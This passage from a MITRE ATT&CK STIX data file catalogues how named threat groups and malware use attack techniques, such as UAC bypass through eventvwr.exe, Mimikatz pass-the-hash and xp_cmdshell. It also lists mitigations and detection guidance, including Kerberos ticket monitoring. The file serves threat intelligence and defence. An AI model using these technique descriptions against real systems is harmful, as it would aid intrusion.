2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T19:16:54.006Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used the `xp_cmdshell` command in MS-SQL.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b55412a-760f-4ff8-b48a-6ff3bed8b0e9","type":"relationship","created":"2021-01-25T13:58:25.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.857Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b55eeb9-c7a1-4ff5-b8ef-f114e3a1b75a","type":"relationship","created":"2019-03-28T14:45:51.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.782Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has attempted to get users to launch malicious documents to deliver its payload. (Citation: TrendMicro Trickbot Feb 2019)(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b5705c3-4508-4623-b542-1fb1fbef2a47","created":"2022-03-24T21:39:40.382Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can find a process owned by a specific user and impersonate the associated token.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T21:14:42.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b580198-d882-4875-b1d5-ad937b95f12f","created":"2022-08-11T22:33:53.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T20:15:07.382Z","description":"[DCSrv](https://attack.mitre.org/software/S1033) has used various Windows API functions, including `DeviceIoControl`, as part of its encryption process.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b58b7e3-4588-45a6-9ff4-7f6ead315ac5","type":"relationship","created":"2021-08-03T14:06:07.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.483Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can write files to disk with JavaScript using a modified version of the open-source tool FileSaver.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b59ebb4-4993-4a88-96ed-a25d21382d29","type":"relationship","created":"2021-10-15T16:43:15.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-15T16:43:15.932Z","description":"Some versions of [DEATHRANSOM](https://attack.mitre.org/software/S0616) have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar [DEATHRANSOM](https://attack.mitre.org/software/S0616) would exit.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","source_name":"Dell TG-3390"},{"url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.","source_name":"Hacker News LuckyMouse June 2018"},{"url":"https://securelist.com/luckymouse-hits-national-data-center/86083/","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","source_name":"Securelist LuckyMouse June 2018"}],"modified":"2020-03-18T20:47:53.366Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors installed a credential logger on Microsoft Exchange servers. [Threat Group-3390](https://attack.mitre.org/groups/G0027) also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)(Citation: Securelist LuckyMouse June 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b651165-e444-4272-a218-32e728558208","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.140Z","description":"(Citation: FireEye Fin8 May 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b68eccb-bb48-40fd-bf3e-4bc60a51a8e1","created":"2022-10-11T16:36:06.377Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:36:06.377Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can check if it is running as a service on a compromised host.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b69d848-b3d9-4f8f-96dc-381e1dd793d4","type":"relationship","created":"2020-07-01T20:35:01.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.324Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can download and execute new versions of itself.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b6b9464-4d0c-4e7e-9631-e2a3cdac6260","type":"relationship","created":"2020-10-20T19:09:23.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}],"modified":"2020-10-22T02:18:19.708Z","description":"Enable secure boot features to validate the digital signature of the boot environment and system image using a special purpose hardware device. If the validation check fails, the device will fail to boot preventing loading of unauthorized software. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) ","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b77c83d-5df6-4d9c-8e29-5f108946574e","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b794c49-0734-446c-9192-5b1e1cf06be0","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.841Z","description":"[Koadic](https://attack.mitre.org/software/S0250) has 2 methods for elevating integrity. It can bypass UAC through `eventvwr.exe` and `sdclt.exe`.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b7cd974-07dd-41b2-a40a-5410918a6e17","type":"relationship","created":"2020-02-21T21:08:36.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:08:36.670Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b7ef377-d7c3-47ca-9707-03d4ccaf5adb","created":"2022-04-11T21:23:29.635Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."},{"source_name":"Malwarebytes IssacWiper CaddyWiper March 2022 ","url":"https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/","description":"Threat Intelligence Team. (2022, March 18). Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CaddyWiper](https://attack.mitre.org/software/S0693) can use `DsRoleGetPrimaryDomainInformation` to determine the role of the infected machine. [CaddyWiper](https://attack.mitre.org/software/S0693) can also halt execution if the compromised host is identified as a domain controller.(Citation: Cisco CaddyWiper March 2022)(Citation: Malwarebytes IssacWiper CaddyWiper March 2022 )","modified":"2022-04-16T22:44:06.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b8397d1-7b3a-4b37-8758-578822a30eca","created":"2024-09-16T09:23:40.611Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:23:40.611Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved use of search engines to research victim servers.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.052Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s SEKURLSA::Pth module can impersonate a user, with only a password hash, to execute arbitrary commands.(Citation: Adsecurity Mimikatz Guide)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b8761f0-fd7d-45da-971a-b3883e77fcc5","type":"relationship","created":"2021-02-22T19:55:30.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carnegie Mellon University Supernova Dec 2020","url":"https://www.kb.cert.org/vuls/id/843464","description":"Carnegie Mellon University. (2020, December 26). SolarWinds Orion API authentication bypass allows remote command execution. Retrieved February 22, 2021."},{"source_name":"Splunk Supernova Jan 2021","url":"https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html","description":"Stoner, J. (2021, January 21). Detecting Supernova Malware: SolarWinds Continued. Retrieved February 22, 2021."}],"modified":"2021-02-22T19:55:30.869Z","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).(Citation: Carnegie Mellon University Supernova Dec 2020)(Citation: Splunk Supernova Jan 2021)","relationship_type":"uses","source_ref":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b8a8055-5b1c-4e06-a6ef-4a42e23e2e11","created":"2021-10-01T01:57:31.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.709Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used rootkits such as the open-source Diamorphine rootkit and their custom bots to hide cryptocurrency mining activities on the machine.(Citation: Trend Micro TeamTNT) (Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b8ba493-b6f0-48d2-ba77-a23a76e555e7","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:19:32.835Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b8bbbca-a50e-49fa-a851-f43a8c21f635","created":"2023-03-31T14:50:47.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T14:27:14.238Z","description":"Periodically review for new and unknown network provider DLLs within the Registry (`HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\\NetworkProvider\\ProviderPath`).\n\nEnsure only valid network provider DLLs are registered. The name of these can be found in the Registry key at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`, and have corresponding service subkey pointing to a DLL at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentC ontrolSet\\Services\\\\NetworkProvider`.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b8d8354-0fa9-4a45-8df9-57709beace42","type":"relationship","created":"2021-09-07T20:58:44.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-10-01T20:30:30.217Z","description":"[Dridex](https://attack.mitre.org/software/S0384)'s strings are obfuscated using RC4.(Citation: Checkpoint Dridex Jan 2021) ","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9361fc-6a9e-4fc3-bc53-72a3f616869a","type":"relationship","created":"2020-03-15T15:34:30.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T15:34:30.943Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b965d3a-130d-4502-963b-111258897615","type":"relationship","created":"2020-08-05T19:35:39.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-05T19:35:39.635Z","description":"[REvil](https://attack.mitre.org/software/S0496) can launch an instance of itself with administrative rights using runas.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9778e3-14f7-4609-8621-d24e2a40c032","type":"relationship","created":"2021-05-26T14:04:01.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-02T15:06:02.321Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to use TCP sockets to send data and ICMP to ping the C2 server.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 